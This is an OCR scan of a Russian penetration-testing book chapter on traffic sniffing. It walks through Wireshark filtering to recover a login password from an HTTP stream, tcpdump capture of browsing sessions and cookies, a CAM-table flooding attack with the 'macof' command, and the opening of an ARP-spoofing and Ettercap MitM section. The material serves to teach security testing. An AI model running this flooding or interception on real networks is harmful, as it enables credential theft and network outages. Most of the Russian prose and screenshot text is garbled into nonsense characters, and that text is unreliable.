systemd Joumnal Expont: sdjournal

SSH remule caplure: sshdump

UDP Listener remote capture; udpdump

Wi-Fi remote capture: wifidump

eeeeeen

Learn
User's Guide - Wiki - Questions and Answers - Mailing Lists - SharkFest . Wireshark Discord .- Donate
You are running Wireshark 4.0.2 (Git v4.0.3 packaged as 4.0.3-1).

@ ¥ Ready w load or capture Mo Packets Profile: Default

Puc. 10.3. Hactpoiika dunbTpa nepea HavanoM 3axeaTa Tpaduka

3a mapy MUHYT MBI COOPaJIH IOCTATOYHO GOJIBIIIOE KOJMIECTBO MAKETOB, & BE/b TPa-
¢duK B cetn 6T MUHUMATBHBIM. KOHEYHO, MBI MOTJIM OCTAHOBUTLCS CPa3y TOCe
BBOJIa JIOTHHA U TIAPOJIst, HO 3TO ObLI0 ObI He Tak WHTEpecHO. [Ipu MpoBeIeHNH TECTOB
Ha TIPOHUKHOBEHNE JACTO CAYIAETCS TaK, YTO BHI He Gy/IeTe 3HATH C TOYHOCTHIO 10
CEKYH/IBI O TOM, KOT/Ia HEOOXOIMMO MTPEKPATUTH COOP MAHHBIX, & CAETATh 3TO HYKHO
TOT/Ia, KOT/Ia CTAHOBUTCS U3BECTHO, YTO I10J1b30BaTE/IU WU CUCTEMA COBEPIIUIIN
olipejieJIeHHble JeCTBUS U Hy KHasd nH(opMaIns y Bac Ha pyKax.

Tetepb, KOra MbI 3HAaeM, YTO HY/KHbIE JaHHBIE COOPAHBI, 0GPATUMCST KO BTOPOMY
Ty GuasTpoB — uibrpam otobpaxkerust. [Ipn UCIOTB30BAaHUN TaKUX (GUIBTPOB
MOZKHO TIPUMEHSTH PasJIMuHbIe OIIepaTophl, pruBeaeHHble B Tabr. 10.1.

Ta6nuua 10.1. OnepaTtopbl punbTPOB 0TOOPaKEHUS

Onepartop DyHKUMA Mpumep

== PaBHO ip.addr == 192.168.16.12
€q Pasno tcp.port eq 80

1= He paBno ip.addr != 192.168.10.5
ne He pasno ip.src ne 192.168.10.5
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OnepaTtop DYyHKUUA Mpumep
contains Copepsxxut http contains "yahoo.com"
&& n tcp.flags.syn == 1 && tcp.flags.ack ==

| ! tcp.port == 80 || tcp.port == 443

! HE dns.gry.name ! "www.example.com"
>=, <=, >, < | Bosabuie, Mmenp- | frame.len >= 100
e

Haunem ananms, 0CTaBUB TOJBHKO T€ TAKETBI, KOTOPbIE OTHOCSTCS K TTPOTOKOJY
http u yuacTBOBaIM B KOMMYHUKAI[UH ¢ BeO-CEPBEPOM, HAXOASIIMMCS 10 aJpecy
192.168.91.128: http && ip.addr == 192.168.91.128 (puc. 10.4).

‘ *any (net 192.168.91 054) - o X
Eile Edit Wiew Go Capture Analyze Statisics Telephony Mreless Tools Help

g-g@m‘.@@ Lexde>EEQRQADE

B3 -+
gih Info =
02168, 01,12 E 517 GET fapiffuanti 1
9 0.006475231 192.168.91.128 192. 1!3 51 12! HTTP 526 GET f!:bla’lllnducll:fsl:urdl?ll— HTTP/1.1
11 8.181346858 192.168.91.128 192.168.81.128 HTTP 374 HTTP/1.1 384 Not Modified m
g 13 8.139063860 192.168.91.128 192.168.91.128 HTTF 484 HTTP/1.1 384 Not Modified
16 B.248786736  192.168.91.128 192.168.91.128 HTTP 574 GET fassets/public/images/products/fapple_juice.j
18 8.744100378  192.168.91.178 197.168.91.128 HTTR 468 HTTR/1.1 384 Not Modified
20 8. 255068485 182.168.91.128 182.168.81.128 HTTP 5§78 GET /assets/public/images/products/apple_pressin
22 8.258163622 192.168.91.128 192.168.91.128 HTTE 468 HTTP/1.1 384 Not Modified
25 8.270644006 192.168.91.128 192.168.91.128 HTTP 575 GET fassets/public/images/products/banana_juice.
26 8.272075942 152.188.91.128 152.168.91.128 HTTP 468 HTTP/1.1 384 Not Modified
27 8.277394832 182.168.91.128 192.168.81.128 HTTP §71 GET /assets/public/images/products/artwork?.jpg
28 8.279679751 182.168.91.128 192.168.91.128 HTTP 468 HTTP/1.1 384 Not Modified
29 9.285%652127 192.168.91.128 192.168.91.128 HTTP S76 GET fassels/public/images/products/earrol_juice.
30 6.208188035 152.188.91.128 152.168.91.128 HTTP 468 HTTP/1.1 384 Not Modified
31 8.381188457 192.168.91.128 192.168.81.128 HTTP §77 GET /assets/public/images/products/eggfruit_juic
32 8.384876300 182.168.91.128 192.168.961.128 HTTF 468 HTTP/1.1 384 Not Modified -
. I 0
v Frame 4: 517 bytes on wire (4136 bits), 517 bytes captured (4138 L oooe o0 og 06 00 00 OG0 00 90 OB 99
v Linux cooked capture vi BO18 45 80 81 5 18 b4 40 80 40 06 eF fd cb aB Sb 8O
+ Internet Protocol Version 4, Src: 102.168.91.128, Dst: 192,168.91, 9920 0 a8 Sb 80 88 78 a4 18 1a cf &f bd 25 71 ‘;5 a3
Ba 95 57 de ec

+ Transmission Control Protocol, Src Port: 34936, Dst Port: 4208@, £ 9930 £0 18 62 88 3a 30 86 89 91 61 88

Mypertext Tramsfer prowocol G mmordecbardssion onggomsroma
BA50 6e 74 69 74 79 73 21 28 48 54 54 50 21 31 2e M ntitys/
@860 Od 8a 48 6f 73 74 3a 280 31 39 32 2e 31 36 30 Pe «-Host :
BOTE 39 31 2e 31 32 38 Ja 34 32 30 30 30 od oa 55 73 91.128:4 |
Boge 65 72 2d 41 67 65 e 74 3a 20 4d 6f Fa 69 6o 6o er-Agent
@696 61 2f 35 2¢ 30 20 28 58 31 31 3b 20 4c 69 62 V5 @/5.08 (X
@0aB 78 20 78 38 36 5T 36 34 3b 28 72 76 3a 31 30 32 ® XB6_64
@8h6 2e 38 29 2?0 47 65 63 6b 6F 21 32 30 31 30 38 21 .8) Geck
B8cH 38 31 70 46 69 72 65 66 6F TH 21 31 38 32 2e 230 81 Firef
@8de 8d 8a 41 63 63 65 7@ T4 3a 20 61 70 TA &c 69 63 «-Accept
Goed 61 74 69 6f e 27 o T3 6 Ge 2c 20 74 65 7B T4 ation/js
pofe 2f 70 6o 61 69 Ge 2c 20 2a 2f Za od Ba 41 63 63 fplain,

@i0@ 65 78 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 Ge ept-Lang
@119 2d 55 53 2c 65 Ge 3b 71 3d 38 Ze 35 od @a 41 63 -Us, en;q |
N

1 LK)
O ¥ wireshark_anyPAFIS1.pcapng Packets: 160 - Displayed: 62 (36.7%) - Dropped: 0 (0.09)  Profile; Detault

Puc. 10.4. 3anpockl k Beb-cepBepy 1 ero OTBEThI

[TpuMeHuB GUIBTP, MBI BUMM TIOJHYIO TIOCIEI0BATETLHYIO HCTOPHIO 3aITPOCOB Gpa-
y3epa K BeO-cepBepy U OTBETOB cepBepa. bosiee TOTO, Mbl BUAUM CAMO COIEPKUMOE
MaKeToB. B KasKI0M U3 HUX [IepPeIaeTCst JIUIb HeOOIbIITast YaCTh TaHHbBIX, U TIOHSITh,
KaKy1o HHGOPMAIIIIO OHU COIEPSKAT, TOCTATOUHO CITOKHO. J[JIsT 0OIerdeH st 3a1aum
B Wireshark mpucyTcTByer 3amedatesbiast BO3MOKHOCTD MTPOCIENTH 3a OTIpeie-
JIeHHBIM 1ToToKoM saHHbIX (puc. 10.5). B ciaydae ¢ HTTP aro Follow » HTTP steram
(puc. 10.6).
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‘ *any (nat 192,162 01 004} (=] "
Eie Edit Mew Go Caplure Analyze Stabsics Telephony Mireless Tools Help

A8 i@ FERE L <>« Q] EE
[]icp.stream eq 7 i BE -+

|Packetiin  ~ ] Case sensitoe. | Regulus ion v | [test [ Fnd ][ conce |
No. Time: Source | Destinason [Promeal = Length info
152 27.041681961 192.168.91.126 192.168.91.128 HTTP 451 HTTP/LT 451 Unauthorized (Text/ntnl)
Markinmuk Packe! ) I Bt g
knorefUnignone Packet
St i et o e e e )
Time: Shift... .158.91.128 68 39674 Seq=535 Acl
Packel Comments
Edit Resoived Name .168.91. 68 42608 - 39674 [ACK) Seq=415 ACk=536 WiN=65536 Len=0
Apply as Fiter B
Prepare as Filer .
Conversalion Filer B

bytes caf~|/ 6666

BBBBBSB!BBBGEEEE 86 86 86 86 8d 8a 88 88

paf 53 54 28 2f 72 65 73 74 2F 05 .x.1|mr Irestiu
6f 67 69 6e 20 48 54 54 S8 2f 31 ser/logl n HWTTR/L
h8F 73 74 3a 78 31 39 37 e 31 38 1. .Host @ 192.16
P 31 32 38 3a 34 32 38 38 38 8d 8a 8.91.178 147868 .
H 41 67 65 Ge 74 Ja 20 4d 6f Ta 93 User-Age nt: Moz
f2e 38 20 28 58 31 31 3b 28 4c 69 llars.8  (¥11; L
hawas 5F 36 33 3b 28 72 76 3a 31 nux xB6_ 64; rvil
P20 47 65 63 6b &f 2f 32 30 31 3@ 62.8) Gc cho/26d0
p 46 88 72 65 86 6f 70 2f 31 38 32 8181 Fir efox/182

Praweal Preferences
Decode As...

Show Packet in New Window
ToCVCTITy ToVE T ST T
[Group: Seguence |
Request Method: POST
Request URI: Srestiusers login

Request Version: HTTRA1.1 TONETTEEECEHTEN W1 63 63 65 70 74 da 20 61 78 8 o .68 Acce pt: appl
Host: 192.166.91.126:420080rn 0020 6O B3 61 T4 69 6f Ba 2f 6a 73 6f Ga 2e 20 74 65 leatien/ json, te
User-Agent: Mozillas5.8 (X11; Linux xB6_G4; rvi102.8 BETE TH T4 27 T8 Go 61 &9 Se Fe P8 Fa 27 Za od 8a 41 xeSplain |, fSt.A
Accept: application/json, text/splain, “/*wrin 0108 63 63 65 78 74 2d 4c 61 Ge 67 75 61 67 65 3a 28 ccept-La nquage:
Arcent - anmuane: eo-lIS FocRsA LD [4/7| ©330 65 e 7d 55 53 Fc 63 ge 3b 71 3d 368 Fe 35 @d @A en-USen e8|
O x memmwml‘m Packets: 169 . Displayed: 10 (5.99%) - Dropped: 0 (0.0%)  Profile: Default

Puc. 10.5. OtcnexunBaHue rnoToka

Ml vreshark - Follow HTTP Sream (cp stream eq 7) - any (net 102.168.91.024) - o X

| POST frest/user/login HTTP/1.1
Host: 192.168.91.128:42000
‘User-Agent: Mozillas5.8 (X11; Linux xBG6_64; rv:182.08) Gecko/281801081 Firefox/182.8
!A&cept: application/json, text/plain, */
|Accept-Language: en-US,en;q=0.5
|Accept-Encoding: gzip, deflate
icontent-TypE: application/json
Content-Length: 47

|0r:|.g.l.n: http://192.168.91.128:42000
|conneetion: keep-alive

‘Referer: http://192.168.91.128:42608/
|Ccmh 1 ; wel b _status=dismi

cookieconsent_status=dismiss

'{"lemliI":"I.u.t:tﬂl.eeil..clm", "password” :"lest1234" JHTTPA1.1 481 Unauthor ized
(Access-Control-Allow-0rigin: *

' X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self’

' X-Recruiting: /#/jobs

‘Content-Type: text/html; charset=utf-8
Content-Length: 26

(ETag: W/"la-ARJVWHE+sSmzAF3IQ)veZmDSG+3Eus"
Vary: Accept-Encoding

|Date: Sat, 20 May 2023 09:11:37 GMT
connection: keep-alive

|l(c|:n-Al‘iw:: timeout=5

|
| Tnvalid email or password.

1 chent pkt, 1 server pit, 1 tum,
| Entire conversation (947 bytes) - Show data as |ASCI -
Find: | | [ Find mexa |

| Fiter out This sweam || Print || saveas.. || Back || Elclose |

Puc. 10.6. Bca nonesHas nHdopmaums B O4HOM MeCTe,
BK/1OHAsA JIOrMH U NapoJib NONb30BaTeNs
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tcpdump

YV Bac He Bcerza OyzeT 10CcTyn K rpadudeckomMy uHTepdeiicy, moaTomMy moae3Ho
O3HAKOMUTBCS €llle € OJHUM WHCTPYMEHTOM, KOTOPbIi TtosiBusics a0 Wireshark, —
tepdump.

Ecuit BB ipocTo 3amyctute tepdump, To Best nHGopMatust Gy/1eT BBIBOIUTHCS B Pe-
aJIbHOM BPEMEHH, YTO cllejlaeT ee IPaKTUYeCKU HelIPUroJHol [/ faibHeliero
aHaJIn3a:

root@kali:~# tcpdump

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth@, link-type EN1OMB (Ethernet), capture size 262144 bytes
11:46:47.867683 IP kali.57728 > ec2-52-43-198-160.us-west-2.compute.amazonaws.
com.https: Flags [.], ack 1406161060, win 40880, length ©

11:46:47.868400 IP ec2-52-43-198-160.us-west-2.compute.amazonaws.com.https >
kali.57728: Flags [.], ack 1, win 64240, length ©

11:46:47.870762 IP kali.53588 > gateway.domain: 6423+ PTR? 160.198.43.52.in-
addr.arpa. (44)

11:46:47.942135 IP gateway.domain > kali.53588: 6423 1/0/0 PTR ec2-52-43-198-
160.us-west-2.compute.amazonaws.com. (107)

11:46:47.943079 IP kali.53170 > gateway.domain: 29504+ PTR? 129.126.168.192.in-
addr.arpa. (46)

11:46:48.005087 IP gateway.domain > kali.53170: 29504 NXDomain ©/0/0 (46)
11:46:48.012487 IP kali.34133 > gateway.domain: 9564+ PTR? 2.126.168.192.in-
addr.arpa. (44)

11:46:48.073047 IP gateway.domain > kali.34133: 9564 NXDomain ©/0/0 (44)
11:46:48.699462 IP kali.54070 > ec2-52-32-150-180.us-west-2.compute.amazonaws.
com.https: Flags [.], ack 101222386, win 40880, length ©

11:46:48.701314 IP kali.51078 > gateway.domain: 2872+ PTR? 180.150.32.52.in-
addr.arpa. (44)

Topassio Jsyuiie coxpaHsTh BCIO HHGOpPMaIo B (aiis, 310 yupocTuT c6op JaHHBIX
U CO3/IACT BO3MOXKHOCTb JIJIsI TIOCJIE/YIONIero aHamusa Tpaduka B moboe yaobHoe
LTSt Bac BpeMsi:

root@kali:~# tcpdump -w /root/tcpump.cap
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth@, link-type EN1OMB (Ethernet), capture size 262144 bytes
~C3821 packets captured
3828 packets received by filter
0 packets dropped by kernel

JIJist aHauIM3a MOJTyYeHHBIX IAHHBIX MOKHO nconb3oBath Whireshark, #o pas yok mbr
paboTaeM B KOHCOJIH, TO OyJIEM TIOCJIE/I0BATEILHBI M TIPUBEIEM TIPUMED AaHATN3A JTAHHBIX
B Hell. [TocmoTpum Bee TP-azpeca u mopThl, ¢ KOTOPBIMU ITPONCXOINIIO COETMHEHNE:

root@kali:~# tcpdump -n -r /root/tcpump.cap | awk -F" " '{ print $3}' | sort -u
| head

reading from file /root/tcpump.cap, link-type EN1OMB (Ethernet)
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136.243.75.5.80
138.201.8.34.80
138.201.8.95.80
144.76.164.182.80
144.76.28.230.80
144.76.62.5.80
173.194.122.218.80
173.194.32.186.443
178.250.0.80.80
178.250.2.77.80

[Ipoananmm3npoBas BLIBOJ, Mbl YBU/IEH, HA KaKUe ajipeca Jalle BCero yXOnJIn 3a-
mpocsl. Teniepb oTduabTpyeM Tpahuk, NCXoas U3 UMeloIIelics nH(popMaIm:

root@kali:~# tcpdump -n src host 138.201.8.34 -r /root/tcpump.cap
reading from file /root/tcpump.cap, link-type EN1OMB (Ethernet)
11:59:01.590002 IP 138.201.8.34.80 > 192.168.126.129.44236: Flags [S.], seq
1793877133, ack 236733408, win 64240, options [mss 1460], length ©
11:59:01.594853 IP 138.201.8.34.80 > 192.168.126.129.44238: Flags [S.], seq
1094285691, ack 3332638160, win 64240, options [mss 1460], length @
11:59:01.594994 IP 138.201.8.34.80 > 192.168.126.129.44236: Flags [.], ack
1461, win 64240, length o
11:59:01.595001 IP 138.201.8.34.80 > 192.168.126.129.44236: Flags [.], ack
1537, win 64240, length @

root@kali:~# tcpdump -n dst host 138.201.8.34 -r /root/tcpump.cap

reading from file /root/tcpump.cap, link-type EN1OMB (Ethernet)

11:59:01.475932 IP 192.168.126.129.44236 > 138.201.8.34.80: Flags [S], seq
236733407, win 29200, options [mss 1460,sackOK,TS val 144778 ecr @,nop,wscale
7], length o

11:59:01.476078 IP 192.168.126.129.44238 > 138.201.8.34.80: Flags [S], seq
3332638159, win 29200, options [mss 1460,sackOK,TS val 144778 ecr @,nop,wscale
7], length o

11:59:01.590025 IP 192.168.126.129.44236 > 138.201.8.34.80: Flags [.], ack
1793877134, win 29200, length ©

11:59:01.590665 IP 192.168.126.129.44236 > 138.201.8.34.80: Flags [.], seq
0:1460, ack 1, win 29200, length 1460: HTTP: GET /tagrevent=otherPage&check=tr
ue&_location=http%3A%2F%2Fwww.tez-tour.com%2F& referrer=&_ title=%DO%9F%D1%83
%D1%82%D0%B5%D0%B2%D0%BA%DO%B8%20%D0%B2%20%D0%93%D1%80%D0%B5%D1%86%D0%B8%D1%8E%
2C%20%D0%IA%DO%B8%DO%BF %D1%80%2C%20%DO%IE%DO%I0%DO%AD%2C%20%DO%A

root@kali:~# tcpdump -n port 80 -r /root/tcpump.cap

reading from file /root/tcpump.cap, link-type EN1OMB (Ethernet)
11:58:57.800214 IP 192.168.126.129.40306 > 93.184.220.29.80: Flags [S], seq
3231467275, win 29200, options [mss 1460,sackOK,TS val 143859 ecr @,nop,wscale
7], length o

11:58:57.902747 IP 192.168.126.129.40308 > 93.184.220.29.80: Flags [S], seq
3445184571, win 29200, options [mss 1460,sackOK,TS val 143884 ecr @,nop,wscale
7], length o
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11:58:57.909838 IP 93.184.220.29.80 > 192.168.126.129.40306: Flags [S.], seq
3702388, ack 3231467276, win 64240, options [mss 1460], length ©
11:58:57.909911 IP 192.168.126.129.40306 > 93.184.220.29.80: Flags [.], ack 1,
win 29200, length ©

11:58:57.910923 IP 192.168.126.129.40306 > 93.184.220.29.80: Flags [P.], seq
1:430, ack 1, win 29200, length 429: HTTP: POST / HTTP/1.1

11:58:57.911421 IP 192.168.126.129.40310 > 93.184.220.29.80: Flags [S], seq
1472664795, win 29200, options [mss 1460,sackOK,TS val 143886 ecr @,nop,wscale
7], length o

11:58:57.914620 IP 93.184.220.29.80 > 192.168.126.129.40306: Flags [.], ack
430, win 64240, length ©

[TocmoTpumM, Kakasg undopmanus 1nepegaBajach 110 CETU B MOMEHT ee 3aXBarTa.
B mannom ciryuae mbl yBuanm ee B HEX-chopmare, HO 910 He TIoMeriaet Ham J06bITh
HY>KHBIE IaHHBIE:

root@kali:~# tcpdump -nX -r /root/tcpump.cap

reading from file /root/tcpump.cap, link-type EN1OMB (Ethernet)
11:58:57.026917 IP 192.168.126.129.60358 > 192.168.126.2.53: 61944+ A? self-
repair.mozilla.org. (41)

0x0000: 4500 0045 7b58 4000 4011 417b c@a8 7e81 E..E{X@.@.A{..~.

0x0010: cPa8 7e02 ebc6t 0035 0031 baef f1f8 0100 ..~....5.1......

0x0020: 0001 00O 0O PPV Bb73 656C 662d 7265 ......... self-re

0x0030: 7061 6972 076d 6f7a 696C 6Cc61 O36f 7267 pair.mozilla.org

11:58:59.459884 IP 192.168.126.129.39468 > 194.165.24.241.80: Flags [P.], seq
1:873, ack 1, win 29200, length 872: HTTP: GET / HTTP/1.1
0x0000: 4500 0390 3741 4000 4006 e566 cPal 7e81 E...7A@.@..f..~.
0x0010: c2a5 18f1 9a2c 0050 298 @4bc 2cl2 6d3b ..... y.Peoo,.m;
0x0020: 5018 7210 e0d2 0000 4745 5420 220 4854 P.r..... GET./.HT
0x0030: 5450 231 2e31 0@dOa 486f 7374 3220 7777 TP/1.1..Host:.ww
0x0040: 772e 7465 7a2d 746f 7572 2e63 6f6d @dOa w.tez-tour.com..
0x0050: 5573 6572 2d41 6765 6e74 3a20 4d6f 7a69 User-Agent:.Mozi
0x0060: 6c6C 612f 352e 3020 2858 3131 3b20 4c69 1lla/5.0.(X11;.Li
0x0070: 6e75 7820 6936 3836 3b20 7276 3a34 352e nux.i686;.rv:45.
0x0080: 3029 2047 6563 6b6f 2f32 3031 3030 3130 0).Gecko/2010010
0x0090: 3120 4669 7265 666f 782f 3435 2e30 @dOa 1.Firefox/45.0..
0x00a0: 4163 6365 7074 3a20 7465 7874 268 746d Accept:.text/htm
0x00b0: 6c2c 6170 706C 6963 6174 696f 6e2f 7868 1,application/xh
0x00c0: 746d 6c2b 786d 6c2c 6170 706C 6963 6174 tml+xml,applicat
0x00d0: 696f 6e2f 786d 6c3b 713d 302e 392c 2a2f ion/xml;q=0.9,*/
0x00e0: 2a3b 713d 302e 380d ©a4l 6363 6570 742d *;q=0.8..Accept-
0x00f0: 4c6l 6e67 7561 6765 3a20 656e 2d55 532c Language:.en-US,
0x0100: 656e 3b71 3d30 2e35 0dOa 4163 6365 7074 en;q=0.5..Accept
0x0110: 2d45 6e63 6f64 696e 673a 2067 7a69 702c -Encoding:.gzip,
0x0120: 2064 6566 6c61 7465 0dPa 436f 6f6b 6965 .deflate..Cookie
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MpI HanmIM MHTEpeCyIolee Hac coeinHeHwe ¢ tez-tour.com. Ho 1aHHBIX Bce paBHO
CJUIIKOM MHOTO. UTOObI yIIPOCTUTD 33/[a4y, BOCIIOIB3YEMCSI BCTPOCHHBIM (PHIIETPOM
sarosioBkoB. Hac 6yayT unrepecoBats T0JIbKO naketsl ¢ uiaramu PSH u ACK.

Ha puc. 10.7 BugnO, uTO MHTEpecyomue Hac ¢aarn A u P HaxongTcs B 4eTBEPTOit
U TSITON TOBUIINH, 3HAYKT, B IBOMYHOM (hopmate ato OyzeT Bbiruisizers Kak 00011000,
a B ZIeCATUYHOM — 24.

v ] [T SR IO O T | [\ R YT T PO | T OTION O MO OO | L W
a Source Porl Destination Port

12| oOfiset | Reserved [o £ o8 195 5 £ Window
16 Checksum Urgent Pamer v
20 TCP Oplions {vanal.ie Ienglh, optional) l v
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Puc. 10.7. Ctpyktypa TCP-3aronoBka
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Bil 45678‘10

1

DubTp NoJyYaeT CHEAYIONIII BU/L:
root@kali:~# tcpdump -A -n 'tcp[13] = 24' -r /root/tcpump.cap

11:59:00.459252 IP 192.168.126.129.49290 > 144.76.62.5.80: Flags [P.], seq
2487328431:2487328798, ack 1891911515, win 29200, length 367: HTTP: GET /webim/
button.php HTTP/1.1

E..... @.@.."..~..L>....P.A..p.G[P.r.:...GET /webim/button.php HTTP/1.1

Host: teztourcom.webim.ru

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: image/png,image/*;q=0.8,*/*;q=0.5

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://www.tez-tour.com/

Connection: keep-alive

If-None-Match: "2daeaa8b5f19f@bc209d976c02bd6acb51booboa"

11:59:00.563800 IP 144.76.62.5.80 > 192.168.126.129.49290: Flags [P.], seq
1:276, ack 367, win 64240, length 275: HTTP: HTTP/1.1 200 OK

[E008@oo000000 L>...~..P..p.G[.A..P....... HTTP/1.1 2060 OK

Server: nginx

Date: Thu, 10 Nov 2016 16:58:59 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

X-Webim-Version: 8.14.142
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Etag: "2daeaa8b5f19f0bc209d976c02bd6acb51booboa"
X-Time: ©.000

EFEYR o 0 000 ca0cocooloooocas 3800000808808 Do o B

11:59:00.839316 IP 192.168.126.129.54060 > 81.222.128.23.80: Flags [P.], seq
3867682114:3867682536, ack 387532615, win 29200, length 422: HTTP: GET /cgi-
bin/erle.cgi?sid=204602&bt=62&custom=153%3Duser_id&ph=1&rnd=346920&tail256=unkn
own HTTP/1.1

E..... @.@..9..~.Q.. .P..%B..GGP.r.-Y..GET /cgi-bin/erle.cgi?sid=204602&bt=62&
custom=153%3Duser 1d&ph 1&rnd=346920&tail256=unknown HTTP/1.1

Host: ad.adriver.ru

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://www.tez-tour.com/

Cookie: cid=AhKU-kniKHjQWpLwdDd1YpA; ar_g2=1; ar_go=1; 1d=1; ar_ord=1; ar_ya=1
Connection: keep-alive

MHudopmalius mpectaBieHa Ternepb B 6ojiee MOHATHOM U yIOOHOM JIJIsl aHAIN3a
BHjIE, He TIpaBa JIn?

AKTUBHbIV NepexsBaT Tpaduka

WNrak, MBI paccMOTpesn TaKyio MOJIeTTb CETH, T/ie Bech TpaduK He TOJTHKO UIET OT
TOYKHM OTTIPABKM /IO TOUKM Ha3HAYEHUSsI, HO U JIOXOJIUT 10 Haiero nHTepdetica. Te-
Mepbh PACCMOTPUM CUTYAIINIO, B KOTOPOH aTaKyIONIUH MTOJIyYaeT I0CTYI K OHOMY 13
MOPTOB cBUYA. B IaHHON CUTYyalluy HEBAXKHO, MOJIYYeH JIK JIOCTYIT K CAMOMY CBUYY
WJIA 9TO ceTeBast PO3eTKa, KOTOPas HOAKI0YeHa K CeTeBOMY 000PYA0BAHUIO U3 PY-
roro rnometnenus. Bakuo juinb To, 4TO Ha ceTeBoii MHTEP(EC TPUXOIST TOJIbKO Te
MTaKeThl, KOTOPBIE OKHBI MPUXOAUTD, I HUKAKWe MHBIE.

O/tHUM U3 caMBIX TIOTIYJISIPHBIX CIIOCOG0B 0GONUTH TAKYIO 3all[UTy ¥ 3aCTABUTH CBUY
paboraTh Kak Xab, 4TO MO3BOJISAET II€PEXBAThIBATh BECh CETE€BOI TpapUK, ABJISETCI
nepenosnerne CAM-tabsmirst. B mobom kommyTaTope cyiiectByet Tabiina CAM,
KOTOpast cBsi3biBaeT Kaxabiii MAC-aapec ¢ KOHKpeTHbIM TopToM. KoMmyTaTopb
HCIOJIB3YIOT 9Ty TabJIUILy JIJIs TIePeHANPaBIEHUS BXOISIMX TAKETOB Ha COOTBET-
CTBYIONIUI TIOPT.

B atake Ha nepenosaenue tabiuisl CAM atakyoniuii OTIpaBIIsieT Ha KOMMYTATOP
6oubiioe xkosmyecTBo Ethernet-(hpeiiMoB, KakIbIil 13 KOTOPBIX UMEET YHUKAIbHbII
MAC-anpec. Ilenb aT0oro npoiecca — 3aoJHuTh Beio namsatb B CAM-tabuuie
KOMMYTaTopa.

Korza tabmina CAM 3amnosiHsieTcsi, KOMMYTaTOP [EPEXOAUT B COCTOSIHUE «3aIl0JI-
HeHUst BceM» i «pacchliku Beems» (flooding mode) n Haumnaer ornpasists Bee
BXOJISIIIUE TTAKETHI HA BCE ITOPTHI, UTO CYIIECTBEHHO YMEHbIAeT 9(PEeKTHBHOCTD CETH
U MOJKET MTPUBECTH K 3aMEJITIEHIIO MU IaKe K OTKA3y B 0OCTyKIBAHWH.
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Heo6xoanumo yuecTb, 4To nepernoHerne TabJuIbl — IPOIECC HePEPbIBHBII, Kak
TOJIBKO OH TIPEKPATUTCS, TO Yepe3 HeGOIBIIoN mpoMeskyToK Bpemernn CAM-Tabuia
GyJIeT OTYHIIEHA U KOMMYTATOP BEPHETCS K HOPMATIbHOMY PEKUMY (DYHKITMOHUPO-
BaHUA.

Jlist npoBezieHus ataku, HarpasaeHHol Ha 1epenosnenne CAM-rtabiunsr MAC-
ajipecaMi, IOCTATOYHO O/THON KOMaH/IbI:

root@kali:~# macof

b2:f9:9e:6b:59:b4 69:69:f4:1:d:7d ©.0.0.0.17507 > 0.0.0.0.49697: S
1870663496:1870663496(0) win 512

6b:df:e5:9:a8:1e ¢9:9¢c:3d:4b:21:d0 0.0.0.0.14408 > 0.0.0.0.45120: S
2106903632:2106903632(0) win 512

8:80:82:19:60:ec d4:f7:fb:14:47:f5 0.0.0.0.13022 > 0.0.0.0.2854: S
708293972:708293972(0) win 512

53:d4:80:73:dc:c4 d2:dd:5b:2d:32:b3 0.0.0.0.5752 > 0.0.0.0.1613: S
1815033319:1815033319(0) win 512

c3:a20:33:5b:67:8b 58:d6:8f:5d:fd:63 0.0.0.0.975 > 0.0.0.0.37840: S
1285237419:1285237419(0) win 512

81:86:99:13:d2:10 8f:37:86:2:ea:a6 0.0.0.0.30380 > 0.0.0.0.47351: S
447067260:447067260(0) win 512

ee:df:dd:2f:f5:96 8b:62:89:38:fa:1la 0.0.0.0.31470 > 0.0.0.0.57504: S
1107960129:1107960129(0) win 512

1f:d6:cl:1f:42:df 2d:ba:3e:6e:ca:29 0.0.0.0.28879 > 0.0.0.0.18191: S
753232608:753232608(0) win 512

1a:93:29:1:e1:31 2a:la:bd:5e:d8:ce 0.0.0.0.4821 > 0.0.0.0.53112: S
437165546:437165546(0) win 512

Eue ogun crmoco6 — <orpasiaenue> ARP. ARP-Tabiauipl Ha MapuipyTus3aTopax
(¥ He TOJIbKO) UCIIOJIB3YIOTCs i coroctasienus [P- u MAC-anpecos, 11o3BoJisis
cBUYaM BbIOUpaTh Hanbosiee apheKTUBHBIN 1Ty Th TPOX0XKAeHUsT Tpaduka. JIJst Hac
Ba)KHO, YTO MINPOKOBEIIATEIbHBIE TTAKETHI, KOTOPBIE NCTIONb3YIOTCS JIST TIOCTPOEHUS
3TO# TabIUIBI, HUKOMM 00pa3oM He (DUIBTPYIOTCS. ATaKYIONINH, UCTIONB3YS 9Ty
0COBEHHOCTD, MOJKET PACCHLIATE TT0 CETH MOJIETbHBIE JAaHHBIE U MTPEBPATUTD CBOI
KOMIIbIoTEp B Xao.

Paccmorpum mpumep ¢ Ettercap. Ettercap — 310 MOMIHBIIT MHOTO3aIa9HBIA UHCTPY-
MEHT JIJIS TlepexBaTa TpapuKa B JOKAIBLHOM CEeTH. DTa YTUJINUTA C OTKPBITHIM UCXOJI-
HBIM KoztoM, foctynHas B Kali Linux, nmpeararaer psia pyHKIMHA, OpDUEHTHPOBAHHBIX
Ha HccJle/loBaHKe, OTCHIeKMBaHNe U aHAJIN3 ceTeBOro TpaduKa, a TakKe BbIIIOJIHEHNE
TaK Ha3bIBAEMBIX aTaK «uenoBek rnocepeaune» (Man-in-the-Middle, wian MitM).

[Tepeuncanm HekoTopbie Bo3aMoxkHOCTH Ettercap:
® oTciexuBaHue ceteBoro Tpaduka: Ettercap MoXkeT mepexBaTbIBaTh U aHAIU3U-
poBarb Tpaduk;

® araku «4ejioBek mocepenune»: Ettercap obsagaer BCTPOEHHBIMU (DYHKITUSIMU
JUist BeIosiHeHust atak MitM, Briouast apr-ciydunr (ARP spoofing), koropbiit
